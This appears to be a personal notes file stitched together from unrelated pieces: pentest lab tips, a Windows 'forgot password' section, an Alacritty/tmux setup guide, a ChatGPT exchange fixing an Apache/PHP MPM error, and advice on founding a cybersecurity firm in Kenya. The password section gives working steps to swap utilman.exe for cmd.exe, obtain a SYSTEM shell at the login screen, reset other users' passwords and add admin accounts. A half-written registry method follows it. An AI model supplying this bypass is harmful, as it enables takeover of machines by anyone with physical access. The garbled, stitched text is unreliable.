✅ Use Docker for testing – Spin up vulnerable containers (e.g., DVWA, Metasploitable).
✅ Practice on TryHackMe, HackTheBox – Real-world pentesting labs.

Would you like a pre-configured script to automate tool installation? 🚀

forgot password or pin

On login screen you can run utilman.exe for accessibilty features...the idea is to change what will be executed when one runs the utilman.exe/accesibilty feature

You can use any of the following method depending on your use case

Method 1

press and hold the shift key and reboot your system to boot into your recovery environment

you can also use a live usb with a windows installation on it and press shift + f10 to get the recovery environment

once you get a cmd prompt locate yours windows installation drive and navigate to windows/system32 folder

ren utilman.exe utilman2.exe 
copy cmd.exe utilman.exe

If you have dual booted and you are currently on a linux machine ,you can mount the windows drive and navigate to the same windows/system32 folder and using your root account execute the foolowing command

mv utilman.exe utilman2.exe 
mv cmd.exe utilman.exe

Reboot

When you press the accesibilty festure the command prompt shows up and running the whoami command shows the user NT system authority is currently logged in.With this coomand prompt we can

-create new users with admin privileges 
-reset passwords for other users
net user johndoe password123  -- to change a particular users password
control userpasswords2 -- reset user passwords

Method 2

regedit

HKEY_LOCAL_MACHINE

file -- load hive

Navigate to windows/system32/config

open file SYSTEM

Create a new folder New folder

Open this new folder

Cmdline -- cmd.exe SetupType -- numder 2

Select new folder and unload hive

To set up Alacritty, Tmux, and Tmux plugins on Windows to make them look and behave similarly to Konsole, follow the steps below. This process involves configuring both the terminal and the terminal multiplexer to mimic Konsole’s appearance and behavior as closely as possible.

Step 1: Install Alacritty on Windows

Install Alacritty using either winget or download it from the official site:

Using winget:

winget install Alacritty

Install dependencies: You may need to install additional tools to ensure Alacritty works well with tmux and other utilities. On Windows, you might want to use Cygwin or MSYS2for a Unix-like environment, but you can also use the Windows Subsystem for Linux (WSL) for a smoother experience.

Install MSYS2 from MSYS2 official website or install Cygwin from Cygwin website.

If using WSL, install a suitable Linux distribution via the Microsoft Store.

Step 2: Configure Alacritty for Konsole-like Appearance

Create or Edit Alacritty Configuration File: Alacritty uses a YAML or TOML configuration file. Let's create and configure it for a Konsole-like look.

If you don’t already have a alacritty.yml, run:

alacritty migrate

Edit the configuration file: You can use a text editor to open and edit the Alacritty config file:

nano ~/.config/alacritty/alacritty.yml

Set up Konsole-like color scheme: Modify the color scheme to resemble Konsole’s default colors. Here's an example configuration that mimics Konsole’s color palette:

Alacritty Configuration

# Colors
colors:
  primary:
    background: '0x1E1E1E'  # Konsole background color
    foreground: '0xF8F8F2'  # Konsole foreground color

  normal:
    black:   '0x282A36'  # Konsole black
    red:     '0xFF5555'  # Konsole red
    green:   '0x50FA7B'  # Konsole green
    yellow:  '0xF1FA8C'  # Konsole yellow
    blue:    '0xBD93F9'  # Konsole blue
    magenta: '0xFF79C6'  # Konsole magenta
    cyan:    '0x8BE9FD'  # Konsole cyan
    white:   '0xF8F8F2'  # Konsole white

  bright:
    black:   '0x6272A4'  # Konsole bright black
    red:     '0xFF6E6E'  # Konsole bright red
    green:   '0x69FF94'  # Konsole bright green
    yellow:  '0xFFFF00'  # Konsole bright yellow
    blue:    '0x4F4DFF'  # Konsole bright blue
    magenta: '0xFF00FF'  # Konsole bright magenta
    cyan:    '0xA4FFFF'  # Konsole bright cyan
    white:   '0xFFFFFF'  # Konsole bright white

Save and Close: Save and close the file (Ctrl + X to exit and confirm saving in nano).

Step 3: Install and Configure Tmux

Install Tmux: You’ll need a Unix-like environment (like MSYS2 or WSL)for Tmux to work. If you are using WSL, you can install Tmux directly from your Linux distro:

sudo apt update
sudo apt install tmux

If using MSYS2, install use pacman:

pacman -Syu
pacman -S tmux

Create/Edit ~/.tmux.conf: Configure Tmux to make it behave more like Konsole. Here's a recommended .tmux.conf file to configure tmux with some useful settings:

Fix for Home and End keys in tmux (important for navigation)

bind -n Home send-keys 'C-a'  # Map Home key to Ctrl+A (beginning of the line)
bind -n End send-keys 'C-e'   # Map End key to Ctrl+E (end of the line)

Enable mouse support (for easier resizing, etc.)

set -g mouse on

Set status bar style to match Konsole-like appearance

set -g status-bg colour235  # Dark background for status bar
set -g status-fg colour136  # Yellow foreground for status bar

Set window split behavior to be like Konsole

bind | split-window -h
bind - split-window -v

Customize pane border colors

set -g pane-border-fg colour235
set -g pane-active-border-fg colour136

Set prefix key to Ctrl + A (Konsole-like behavior)

unbind C-b
set -g prefix C-a
bind C-a send-prefix

Enable vi mode (for better navigation)

setw -g mode-keys vi

Adjust split window size

setw -g aggressive-resize on

Install Tmux Plugins: To enhance the functionality of tmux, you can install a few useful plugins. A great way to do this is with Tmux Plugin Manager (TPM).

Install TPM by cloning the repository:

git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm

Add these lines to your ~/.tmux.conf to load TPM and some useful plugins:

TPM (Tmux Plugin Manager)

run -b '~/.tmux/plugins/tpm/tpm'

Plugins

set -g @plugin 'tmux-plugins/tmux-sensible'
set -g @plugin 'tmux-plugins/tmux-resurrect'
set -g @plugin 'tmux-plugins/tmux-continuum'

Initialize TPM

run '~/.tmux/plugins/tpm/tpm'

Press Ctrl + b then I to install the plugins once you've saved the changes.

Step 4: Additional Tweaks to Achieve Konsole-like Behavior Konsole-like Keybindings:

As mentioned earlier, you can remap the Home and End keys in tmux with the following in your ~/.tmux.conf file: bind -n Home send-keys 'C-a' bind -n End send-keys 'C-e' Tmux Status Bar: You can further tweak the tmux status bar to resemble Konsole by modifying colors, and adding information like the current window, time, or battery status.

Font and Window Settings: Alacritty allows you to set a custom font, which can be made closer to Konsole's default font.

In your Alacritty ~/.config/alacritty/alacritty.yml file, change the font settings:

font: normal: family: "Fira Code" # Replace with your favorite programming font style: Regular size: 12.0 Step 5: Testing the Setup Launch Alacritty: Run alacritty and open a new session.

Start Tmux: Once inside Alacritty, start tmux by typing:

tmux Test Plugins: Test the functionality of installed plugins, such as session restoration or window splitting, by using Ctrl + b shortcuts.

Check Navigation Keys: Test the Home and End keys to ensure they move the cursor to the beginning and end of the line, respectively.

Conclusion By following the above steps, you should be able to replicate the Konsole-like appearance and functionality within Alacritty and Tmux on Windows, with Cygwin, MSYS2, or WSL providing the Unix-like environment. This setup will give you the flexibility of Tmux combined with the fast, modern rendering of Alacritty, all while looking and behaving like Konsole.

You said:

Feb 15 03:23:52 Archie httpd[2649417]: httpd: Syntax error on line 64 of /etc/httpd/conf/httpd.conf: Cannot load mod> Feb 15 03:23:53 Archie systemd[1]: httpd.service: Main process exited, code=exited, status=1/FAILURE Feb 15 03:23:53 Archie systemd[1]: httpd.service: Failed with result 'exit-code'. Feb 15 03:24:53 Archie systemd[1]: Started Apache Web Server. Feb 15 03:24:53 Archie httpd[2654212]: httpd: Syntax error on line 64 of /etc/httpd/conf/httpd.conf: Cannot load mod> Feb 15 03:24:53 Archie systemd[1]: httpd.service: Main process exited, code=exited, status=1/FAILURE Feb 15 03:24:53 Archie systemd[1]: httpd.service: Failed with result 'exit-code'. Feb 15 03:31:56 Archie systemd[1]: Started Apache Web Server. Feb 15 03:31:56 Archie httpd[2683602]: httpd: Syntax error on line 64 of /etc/httpd/conf/httpd.conf: Cannot load mod> Feb 15 03:31:56 Archie systemd[1]: httpd.service: Main process exited, code=exited, status=1/FAILURE Feb 15 03:31:56 Archie systemd[1]: httpd.service: Failed with result 'exit-code'. ~DO THESE MODULES EVEN EIST

ChatGPT said:

The error message you're seeing indicates that Apache is failing to start due to a syntax error related to the loading of a module in /etc/httpd/conf/httpd.conf, specifically on line 64. It suggests that there is an issue with the LoadModule directive, possibly due to a missing or incorrectly specified module.

1. Check the Specific Error Message

To better diagnose the issue, check the exact error message in the Apache log, which should be available in /var/log/httpd/error_log. Run this command to check the log:

bash

Copy

sudo tail -n 50 /var/log/httpd/error_log

The error should tell you which module is problematic (e.g., mod_php or another Apache module). It will typically say something like:

swift

Copy

Cannot load /etc/httpd/modules/mod_php.so: /etc/httpd/modules/mod_php.so: cannot open shared object file: No such file or directory

This will help identify which module is missing or misconfigured.

2. Check for Missing PHP Module

From the error message, it looks like there might be an issue with the PHP module, which might not be installed or is improperly referenced in the httpd.conf file.

Check if the PHP module is installed:

  1. Run this command to check if the PHP module is installed and available for Apache:

    bash

    Copy

    ls /etc/httpd/modules | grep php

    You should see something like mod_php.so if the PHP module is installed. If it’s not there, you need to install it.

  2. Install the necessary PHP packages if the module is missing:

    bash

    Copy

    sudo pacman -S php php-apache

  3. Ensure that the LoadModule directive is correctly set in /etc/httpd/conf/httpd.conf. This should be something like:

    apache

    Copy

    LoadModule php_module modules/libphp.so

    If you don't see libphp.so or mod_php.so, it means the PHP module is not installed or not linked correctly.

3. Ensure Apache Modules Are Available

It’s also possible that the required Apache modules are missing or not properly installed. If Apache can’t find the module specified in the configuration, it will fail to start.

  • Run the following to check if the modules are actually installed:

    bash

    Copy

    ls /usr/lib/httpd/modules/ | grep mod_

    This will list all available Apache modules. If mod_php.so is not listed, the PHP module might not have been installed correctly.

4. Update the Apache Configuration

If the correct PHP module is available but Apache is still failing, try adjusting the httpd.conf file.

  1. Check the LoadModule directive:

    In the httpd.conf file, ensure that the LoadModule directive points to the correct file. For PHP, it should look like:

    apache

    Copy

    LoadModule php_module modules/libphp.so

    Ensure this path matches the actual path to libphp.so. If libphp.so is in /usr/lib/httpd/modules/, you may need to change the httpd.conf file to point to that location:

    apache

    Copy

    LoadModule php_module /usr/lib/httpd/modules/libphp.so

  2. Ensure that mod_php is loaded properly:

    Apache requires mod_php to interpret PHP. Check if it's being loaded properly by searching the httpd.conf file for mod_php:

    bash

    Copy

    grep mod_php /etc/httpd/conf/httpd.conf

    If there is no mod_php in the config, you may need to manually add it:

    apache

    Copy

    LoadModule php_module /usr/lib/httpd/modules/libphp.so

5. Reinstall Apache and PHP

If you're still having trouble, try reinstalling Apache and PHP:

bash

Copy

sudo pacman -Rns apache php php-apache sudo pacman -S apache php php-apache

After reinstalling, make sure that the LoadModule php_module directive is correctly specified and points to the correct PHP module file.

6. Restart Apache

Once you've checked everything and made any necessary adjustments, restart Apache:

bash

Copy

sudo systemctl restart httpd

If everything is set up correctly, Apache should start successfully and serve your PHP files.


If you continue to experience issues, feel free to provide the exact error message from the Apache logs, and I can help you further diagnose the problem.

You said:

in PID: 2701302 (code=exited, status=1/FAILURE) Mem peak: 2.8M CPU: 39ms Feb 15 03:36:01 Archie systemd[1]: Started Apache Web Server. Feb 15 03:36:01 Archie httpd[2701302]: [Sat Feb 15 03:36:01.715207 2025] [php:crit] [pid 2701302:tid 2701302] Ap> Feb 15 03:36:01 Archie httpd[2701302]: AH00013: Pre-configuration failed Feb 15 03:36:01 Archie systemd[1]: httpd.service: Main process exited, code=exited, status=1/FAILURE Feb 15 03:36:01 Archie systemd[1]: httpd.service: Failed with result 'exit-code'. ~ ~ ~ ~ ~ ~

ChatGPT said:

The error message you're seeing:

makefile

Copy

AH00013: Pre-configuration failed

indicates that Apache failed to start due to an issue occurring before it could even enter its normal configuration phase. This is typically caused by a misconfiguration or missing file/module, particularly with PHP in this case.

Steps to Resolve the Issue

1. Check Apache Error Logs

To get more details about the issue, let's examine the full Apache error log. Run the following command to read the log:

bash

Copy

sudo tail -f /var/log/httpd/error_log

Look for any specific errors related to PHP or missing modules. This could give us a clue about what exactly is failing.

2. Ensure PHP is Installed Correctly

Since it appears that the issue is related to PHP, let's verify that PHP is properly installed.

  1. Check if PHP is installed:

    bash

    Copy

    php -v

    If PHP is not installed, install it using:

    bash

    Copy

    sudo pacman -S php php-apache

  2. Ensure that PHP module is loaded:

    In the Apache configuration file (/etc/httpd/conf/httpd.conf), check the following:

    • Ensure that the mod_php.so module is properly loaded. The correct line should be:

      apache

      Copy

      LoadModule php_module modules/libphp.so

      Note: The exact path to libphp.so may differ depending on your PHP installation. You may need to check if the file exists in /usr/lib/httpd/modules/libphp.so.

      To verify, run:

      bash

      Copy

      ls /usr/lib/httpd/modules/libphp.so

      If the file doesn't exist, there may be a problem with your PHP installation.

3. Reconfigure Apache to Use PHP

  1. Update the Apache configuration to handle .php files correctly. Ensure that the following lines are present in /etc/httpd/conf/httpd.conf:

    apache

    Copy

    AddHandler application/x-httpd-php .php LoadModule php_module modules/libphp.so

  2. Check the Directory directive for the correct permissions. The following should be present:

    apache

    Copy

    <Directory "/srv/http"> AllowOverride None Options Indexes FollowSymLinks Require all granted </Directory>

  3. Save changes and restart Apache:

    bash

    Copy

    sudo systemctl restart httpd

4. Check for Missing Dependencies

There could also be missing dependencies for PHP or Apache. To make sure everything is up to date:

bash

Copy

sudo pacman -Syu

This will update all your packages and ensure that there are no missing dependencies.

5. Try Starting Apache Manually

If the service is still failing to start, try running Apache manually to see if any errors are displayed directly in the terminal:

bash

Copy

sudo httpd -k start

This might provide a more specific error message.

6. Check for Conflicting Apache Modules

Sometimes, conflicts can arise if multiple PHP modules are loaded (for example, mod_php and php_fpm), or if there are other conflicting modules in the Apache configuration.

  • Search through /etc/httpd/conf/httpd.conf for any other PHP-related lines or modules that may conflict with mod_php.

If you're still encountering issues, feel free to share more specific error messages from the log files, and I'll be happy to help you troubleshoot further.

You said:

Feb 15 03:38:45 Archie httpd[2712741]: AH00013: Pre-configuration failed root@Archie ~ # httpd -k start zsh: correct 'httpd' to 'ntpd' [nyae]? n [Sat Feb 15 03:39:10.004500 2025] [php:crit] [pid 2714553:tid 2714553] Apache is running a threaded MPM, but your PHP Module is not compiled to be threadsafe. You need to recompile PHP. AH00013: Pre-configuration failed

ChatGPT said:

The error you're seeing indicates that there is a thread-safety conflict between Apache's threaded MPM (Multi-Processing Module) and the PHP module.

The error:

vbnet

Copy

Apache is running a threaded MPM, but your PHP Module is not compiled to be threadsafe. You need to recompile PHP.

What this means:

  • Apache is configured to use a threaded MPM, but your PHP installation is not compiled to be thread-safe, causing this issue.
  • When using a threaded MPM (like worker or event), PHP must be compiled as thread-safe. If it's not, you'll need to either recompile PHP with thread-safety or switch to an Apache MPM that does not require thread-safety, such as the prefork MPM.

Steps to Resolve the Issue

1. Switch Apache to Prefork MPM

If recompiling PHP is too complicated or not necessary, the simplest solution is to switch Apache to use the prefork MPM instead of the threaded worker or event MPM. The prefork MPM does not require PHP to be thread-safe.

  1. Open the Apache configuration file:

    bash

    Copy

    sudo nano /etc/httpd/conf/httpd.conf

  2. Look for the LoadModule mpm_* directives, which load the MPM modules. You should see something like:

    apache

    Copy

    LoadModule mpm_worker_module modules/mod_mpm_worker.so

  3. Comment out (add a # at the beginning of) the mpm_worker_module or mpm_event_module line and uncomment the mpm_prefork_module line:

    apache

    Copy

    # LoadModule mpm_worker_module modules/mod_mpm_worker.so LoadModule mpm_prefork_module modules/mod_mpm_prefork.so

  4. Save the changes and exit.

  5. Restart Apache:

    bash

    Copy

    sudo systemctl restart httpd

This will make Apache use the prefork MPM, which should resolve the thread-safety issue with PHP.

2. Recompile PHP with Thread-Safety

If you want to continue using a threaded MPM like worker or event, you'll need to recompile PHP with thread-safety enabled. However, this is more complex and may not be necessary if switching MPMs resolves your issue.

To compile PHP with thread-safety, you'd need to:

  • Download and extract the PHP source code.
  • Configure PHP to build with thread-safety (--enable-maintainer-zts flag).
  • Recompile PHP and install it.

However, this is more advanced and often not needed if switching to prefork works.

3. Verify PHP Version and Configuration

Make sure your PHP installation is correct for your setup. For Apache with prefork, ensure you're using a compatible version of PHP.

bash

Copy

php -v

If necessary, reinstall PHP with the correct configuration:

bash

Copy

sudo pacman -S php php-apache

Afterward, ensure PHP is loaded correctly by checking your httpd.conf:

bash

Copy

LoadModule php_module modules/libphp.so

4. Restart Apache

After making the changes (switching MPM or recompiling PHP), restart Apache:

bash

Copy

sudo systemctl restart httpd


After these steps, the issue should be resolved. If the problem persists or you want to recompile PHP, I can guide you through that process as well, but switching the MPM is the easier fix in most cases.

You said:

Feb 15 03:40:46 Archie systemd[1]: httpd.service: Failed with result 'exit-code'. root@Archie ~ # httpd -k start AH00534: httpd: Configuration error: More than one MPM loaded.

ChatGPT said:

The error AH00534: httpd: Configuration error: More than one MPM loaded indicates that Apache is trying to load more than one MPM (Multi-Processing Module), which is causing a conflict.

Explanation:

Apache can only use one MPM at a time, and it looks like both the mpm_worker_module (or mpm_event_module) and mpm_prefork_module are being loaded at the same time, leading to the conflict.

Steps to Resolve:

1. Identify and Correct the MPM Modules in Apache Configuration

  1. Open the Apache configuration file /etc/httpd/conf/httpd.conf:

    bash

    Copy

    sudo nano /etc/httpd/conf/httpd.conf

  2. Look for the LoadModule directives for the MPM modules. You should see something like the following:

    apache

    Copy

    LoadModule mpm_worker_module modules/mod_mpm_worker.so LoadModule mpm_prefork_module modules/mod_mpm_prefork.so

    There may also be a mod_mpm_event.so module loaded.

  3. Comment out the lines for all MPM modules except the one you want to use. For example, if you're switching to the prefork MPM, comment out the worker and event modules:

    apache

    Copy

    # LoadModule mpm_worker_module modules/mod_mpm_worker.so # LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule mpm_prefork_module modules/mod_mpm_prefork.so

  4. Save and exit the file.

2. Restart Apache

After making the changes to the configuration file, restart Apache:

bash

Copy

sudo systemctl restart httpd

Verify the Status:

Once you've restarted Apache, check the status to make sure it's running properly:

bash

Copy

sudo systemctl status httpd

If there are no errors, Apache should be running without conflicts.

3. Double-Check for Additional MPM Conflicts

If the error persists, double-check the entire Apache configuration directory for any other conflicting MPM configuration files. Apache may have additional MPM-related configurations in the following files:

  • /etc/httpd/conf.d/
  • /etc/httpd/conf.modules.d/

To search for any additional MPM-related directives, use:

bash

Copy

grep -i mpm /etc/httpd/conf* -R

This will list all occurrences of mpm_* in the configuration files. Ensure that only one MPM module is being loaded across all files.


If you still encounter issues, feel free to provide more details or error messages, and I'll assist you further!

Starting a cybersecurity company that addresses these pressing issues in Kenya, Africa, and globally is an exciting and impactful endeavor. The cybersecurity market is growing rapidly, and there is a strong demand for solutions that protect businesses, governments, and individuals from cyber threats. Here’s a roadmap on how to get started:

1. Identify Your Niche and Services

Cybersecurity is a broad field, so it’s essential to define your niche early. Consider focusing on one or more of the following areas based on the issues you’ve highlighted:

Network Security: Protecting networks from intrusions and data breaches. Data Privacy and Protection: Secure personal and business data (including government data). Threat Detection and Incident Response: Detecting attacks early and responding effectively. Ransomware Prevention: Offering solutions for preventing, detecting, and mitigating ransomware attacks. Mobile Security: Addressing issues related to SIM-swap fraud, mobile malware, etc. Cybersecurity Training and Awareness: Offering training services for individuals and organizations on cybersecurity best practices. Market Research: Understand your target market (businesses, financial institutions, governments, SMEs, etc.) and identify what gaps or needs exist in the cybersecurity space within Africa and beyond.

2. Business Planning and Strategy

Business Plan: Draft a solid business plan that outlines your goals, services, target market, pricing, revenue models, and the types of cybersecurity solutions you'll provide. Market Differentiation: Identify how you’ll differentiate yourself from competitors, both local and global. Focus on unique value propositions like cost-effective solutions, specialized expertise in African cybercrime trends, or cutting-edge technology. Target Audience:

In Africa, focus on sectors most vulnerable to cybercrime, such as banking, government institutions, and mobile money services like M-Pesa. Globally, focus on SMEs, educational institutions, healthcare providers, and any other sectors that are facing an increase in cyber threats.

3. Legal and Regulatory Considerations

Register Your Business: In Kenya and any other African countries you plan to target, ensure you register your business and adhere to local laws. Compliance: Familiarize yourself with both local and global cybersecurity regulations. In Africa, countries like Kenya, Nigeria, and South Africa are introducing cybersecurity laws that must be followed. Globally, ensure you understand GDPR (EU), HIPAA (USA), and other international data protection laws. Cybersecurity Certifications: You and your team should have certifications like CEH (Certified Ethical Hacker), CISSP (Certified Information Systems Security Professional), or CISM (Certified Information Security Manager) to gain credibility.

4. Building Your Technical Team

Recruit Cybersecurity Professionals: Hire experts in the fields of ethical hacking, penetration testing, network security, malware analysis, incident response, etc. Continuous Education: Since the cybersecurity landscape evolves rapidly, your team should constantly update their skills with the latest certifications and training. Local and Global Talent: While you focus on the African market, also consider hiring skilled cybersecurity experts from other regions to bring international experience and knowledge to your company.

5. Technology and Tools

Invest in reliable cybersecurity tools and technologies that will help you provide top-notch services:

Firewall and Intrusion Detection Systems (IDS/IPS) SIEM (Security Information and Event Management) tools like Splunk or ELK stack Endpoint Protection tools (antivirus, anti-malware) Backup and Encryption Solutions Incident Response Platforms Phishing Protection Tools and Mobile Security Solutions Customization: Given Africa’s unique challenges (mobile fraud, low-tech infrastructure, etc.), you may want to customize some solutions specifically for this market.

6. Develop Your Brand and Marketing Strategy

Brand Identity: Build a strong brand that conveys trust, expertise, and reliability. Your brand should speak to both local and international clients. Website and Social Media: Create a professional website showcasing your services, case studies, and testimonials. Leverage platforms like LinkedIn, Twitter, and Facebook to market your business and engage with your audience. Content Marketing: Share educational content such as blogs, whitepapers, and webinars on cybersecurity topics. This can position you as an authority in the industry. SEO and Online Advertising: Focus on search engine optimization (SEO) to rank high for relevant keywords like “cybersecurity in Africa,” “mobile fraud protection,” and “ransomware prevention.” Networking and Partnerships: Attend cybersecurity conferences, both locally (such as the Africa Cybersecurity Conference) and internationally, to build connections with potential clients, partners, and investors.

7. Offer Training and Consulting Services

In addition to providing cybersecurity solutions, consider offering consulting and training services. This could include:

Workshops:Help organizations in Kenya and other African countries implement best practices for cybersecurity. Awareness Campaigns:Educate businesses and individuals about phishing scams, SIM-swap fraud, and other cyber risks through workshops or online resources. Incident Response Services:Provide consulting services for businesses and governments on how to respond to a cyberattack, as well as post-attack recovery strategies.

8. Funding and Scaling

Seek Investors: If you need capital to get started or scale your business, consider seeking investors who specialize in cybersecurity or tech startups. Look for venture capital firms, angel investors, or even government grants aimed at fostering technology and innovation in Africa. Partners: Partner with other cybersecurity companies, technology providers, or government entities to expand your services and gain credibility. Global Expansion: Once you establish a strong presence in Africa, expand to other regions by creating tailored solutions that meet the specific needs of each market.

9. Customer Support and Retention

Build Strong Client Relationships: Offer excellent customer support to your clients. Provide ongoing consultations, regular security audits, and proactive recommendations to ensure they’re always protected. Feedback Loop: Continuously gather feedback from clients to improve your services and ensure customer satisfaction.

10. Stay Updated on Cyber Threats

Cyber threats evolve rapidly. Stay on top of the latest cybercrime trends and tactics to ensure your services are always ahead of the curve. Engage with global threat intelligence sources, participate in forums, and attend cybersecurity conferences to stay updated.

In Summary: Identify your niche and services (e.g., threat detection, data protection). Create a solid business plan and define your target audience (Africa and global markets). Ensure compliance with local and international laws. Build a skilled technical team and invest in the right tools. Create a strong online presence and develop a robust marketing strategy. Offer consulting and training services to provide additional value. Seek funding and partnerships for expansion. Stay updated on the latest cybersecurity threats. By focusing on these steps, you can build a cybersecurity company that addresses the pressing issues facing businesses and individuals in Kenya, Africa, and around the world.

Starting your cybersecurity company requires a combination of technical tools, business resources, and strategic planning. Below, I’ll outline the essential steps for getting your business up and running, along with the tools you can use to streamline your operations.

  1. Business Planning and Legal Setup Steps: Create a Business Plan: Write a detailed business plan that includes:

Executive summary Services and solutions you’ll offer Target audience and market research Competitive analysis Pricing strategy Financial projections and goals Marketing and sales strategy Tools to use:

LivePlan: Business planning software that helps you create professional business plans. Bizplan: Another tool to help you structure your business plan with financial models and growth strategies. Register Your Business: Register your business name and legal structure. Depending on your country of operation, this could be as simple as registering a Limited Liability Company (LLC) or Corporation.

Tools:

LegalZoom: A platform for business registration, trademarks, and legal documents. Local government websites: To register your business according to local laws (e.g., in Kenya, you'd register with the Kenya Business Registration Service). 2. Set Up a Website and Online Presence Your website will be your digital storefront, showcasing your services, expertise, and credibility. Ensure it is professional, user-friendly, and optimized for conversions.

Steps: Domain Registration: Choose a domain name that represents your brand. Make it short, memorable, and related to cybersecurity.

Tools:

Namecheap or GoDaddy: To register your domain. Website Builder: Design a website with all the essential pages: About Us, Services, Blog, Contact Info, and Testimonials.

Tools:

WordPress with Elementor: Great for building professional websites without needing to code. Wix: Another website builder with cybersecurity themes that are easy to customize. Squarespace: Another easy-to-use option with business-oriented templates. SEO Tools: Optimize your website for search engines to help it rank higher in searches.

Tools:

Google Search Console: For tracking website performance and SEO. Moz: For SEO tools and keyword research. Yoast SEO: A plugin for WordPress that helps optimize your site for search engines. Social Media Profiles: Create profiles on LinkedIn, Twitter, Facebook, and Instagram. Post regularly about industry news, cybersecurity trends, and your services.

Tools:

Buffer: A social media management tool to schedule posts and track performance. Hootsuite: Another platform to manage your social media accounts. 3. Core Cybersecurity Tools for Your Business These are the tools that will help you deliver services and secure your own business as well.

A. Security Monitoring and Detection Tools These tools will help you secure your clients' networks, detect vulnerabilities, and respond to threats.

Splunk: A robust security information and event management (SIEM) platform that allows you to monitor and respond to cyber threats in real time. AlienVault: An affordable SIEM solution designed for SMBs that can help detect threats and vulnerabilities. Nagios: Open-source software to monitor systems, networks, and infrastructure. B. Penetration Testing Tools These tools help you test the security of systems and identify vulnerabilities before hackers exploit them.

Kali Linux: A powerful open-source operating system specifically for penetration testing and ethical hacking. Metasploit: A widely-used penetration testing tool to identify and exploit vulnerabilities in a system. Burp Suite: A tool for web application security testing, useful for scanning websites and web apps for vulnerabilities. C. Ransomware Prevention and Protection Tools Provide solutions for ransomware prevention, detection, and recovery.

CylancePROTECT: An AI-based endpoint protection tool that prevents malware and ransomware. Veeam: Offers backup solutions with ransomware protection for your clients’ data. Acronis: Provides backup, disaster recovery, and ransomware protection solutions. D. Endpoint Protection Tools Protect endpoints (like PCs, laptops, and mobile devices) from malware and hacking attempts.

CrowdStrike Falcon: A leading endpoint protection platform with threat intelligence. Sophos Intercept X: A powerful endpoint protection tool that focuses on next-gen antivirus, anti-ransomware, and exploit prevention. Webroot SecureAnywhere: Lightweight antivirus that also offers advanced real-time threat detection. E. Vulnerability Scanning Tools Regularly scan systems for weaknesses and vulnerabilities to patch before they can be exploited.

Qualys: A comprehensive vulnerability management tool for network security. Nessus: A popular vulnerability scanner for discovering and assessing security weaknesses. OpenVAS: An open-source vulnerability scanner. F. Backup and Disaster Recovery Tools Always ensure your business and clients have regular data backups and a recovery plan in place.

Datto: Offers backup, recovery, and business continuity services, especially for small businesses. Carbonite: Provides online backup solutions for individuals and businesses. Acronis: In addition to ransomware protection, Acronis also provides backup and recovery services. 4. Customer Relationship Management (CRM) Tools A CRM tool will help you manage customer relationships, track leads, and maintain client communication.

HubSpot CRM: A free CRM solution that allows you to track leads, manage customer relationships, and integrate with your website. Zoho CRM: An affordable CRM with advanced automation and lead-tracking capabilities. Salesforce: A more comprehensive solution for managing large customer bases.

  1. Marketing and Lead Generation Tools You’ll need tools for digital marketing, lead generation, and conversion optimization.

Google Ads: To run paid advertising campaigns and generate leads for your business. Mailchimp: For email marketing campaigns to nurture leads and build an email list. Leadpages: To create landing pages that convert visitors into leads or customers. Google Analytics: To track website performance and gain insights into customer behavior. 6. Project Management and Collaboration Tools To manage projects, communicate with clients, and collaborate with your team, you’ll need project management tools.

Trello: A simple project management tool that’s useful for tracking progress on tasks and organizing projects. Asana: A task and project management tool that helps teams stay organized and meet deadlines. Slack: For team communication and collaboration on cybersecurity projects. Monday.com: A versatile tool for managing workflows, clients, and teams. 7. Cybersecurity Certifications and Training To gain credibility and build a knowledgeable team, certifications are crucial.

Certified Ethical Hacker (CEH): A globally recognized certification for ethical hackers. CISSP (Certified Information Systems Security Professional): A certification for information security professionals. CompTIA Security+: A foundational certification in cybersecurity that is recognized globally. 2. Networking and Partnerships Build strong industry relationships to grow your client base and build partnerships.

Cybersecurity Events: Attend cybersecurity conferences such as RSA Conference, Africa Cybersecurity Summit, and Black Hat to network with industry professionals. LinkedIn: Leverage LinkedIn for networking, building connections, and sharing thought leadership content. Summary: Key Tools to Get Started: Business Planning Tools: LivePlan, Bizplan Website and Social Media: WordPress, Wix, Buffer, Hootsuite Cybersecurity Tools: Kali Linux, Metasploit, Splunk, CrowdStrike, Cylance, Qualys CRM Tools: HubSpot, Zoho CRM Marketing Tools: Google Ads, Mailchimp, Leadpages Project Management Tools: Asana, Trello, Slack Cybersecurity Certifications: CEH, CISSP, CompTIA Security+ By using these tools and steps, you can get your cybersecurity company up and running and start providing services that address key issues in Kenya, Africa, and globally.

Tips for Getting Your First Customer Getting your first customer is often the hardest part, but there are effective strategies to accelerate this process. Here are some tips to help you land that first client:

  1. Leverage Your Network Personal Network: Reach out to friends, family, and acquaintances who may need cybersecurity services or know someone who does. A personal referral can be incredibly powerful in the early stages. LinkedIn: Connect with professionals in industries like finance, healthcare, or tech, which are likely to be more concerned about security. Use LinkedIn messaging to explain how your services could help them mitigate risks. Cybersecurity Forums: Engage in online communities like Reddit, LinkedIn groups, or specialized forums where cybersecurity issues are discussed. Share your insights and offer free consultations to build trust.
  2. Offer Free Consultations or Audits Free Security Assessment: Offer a free website or network security audit for businesses or individuals. This can help potential clients see the value in your services and give them a glimpse of what you can do. Create a Lead Magnet: Develop a simple but useful resource like a "Top 10 Cybersecurity Tips for Small Businesses" or "Basic Checklist for Cybersecurity Protection" that can be shared in exchange for contact details.
  3. Build Trust with Case Studies and Testimonials First Project: For your first customer, you may need to offer a discounted rate or even a pro-bono project to get your foot in the door. Make sure you ask for feedback and a testimonial when the job is done. Showcase Your Work: Even if you don’t have paying customers yet, you can do volunteer work or mock projects to demonstrate your expertise. Having case studies or testimonials will give credibility when you approach businesses.
  4. Join Cybersecurity Events and Conferences Networking at Events: Attend cybersecurity conferences, webinars, or events. Many businesses and government institutions look for new cybersecurity solutions at these events. Present a Workshop: Consider organizing a small cybersecurity workshop or webinar for local businesses. This helps position you as an expert and allows you to connect directly with potential clients.

5. Content Marketing and Thought Leadership

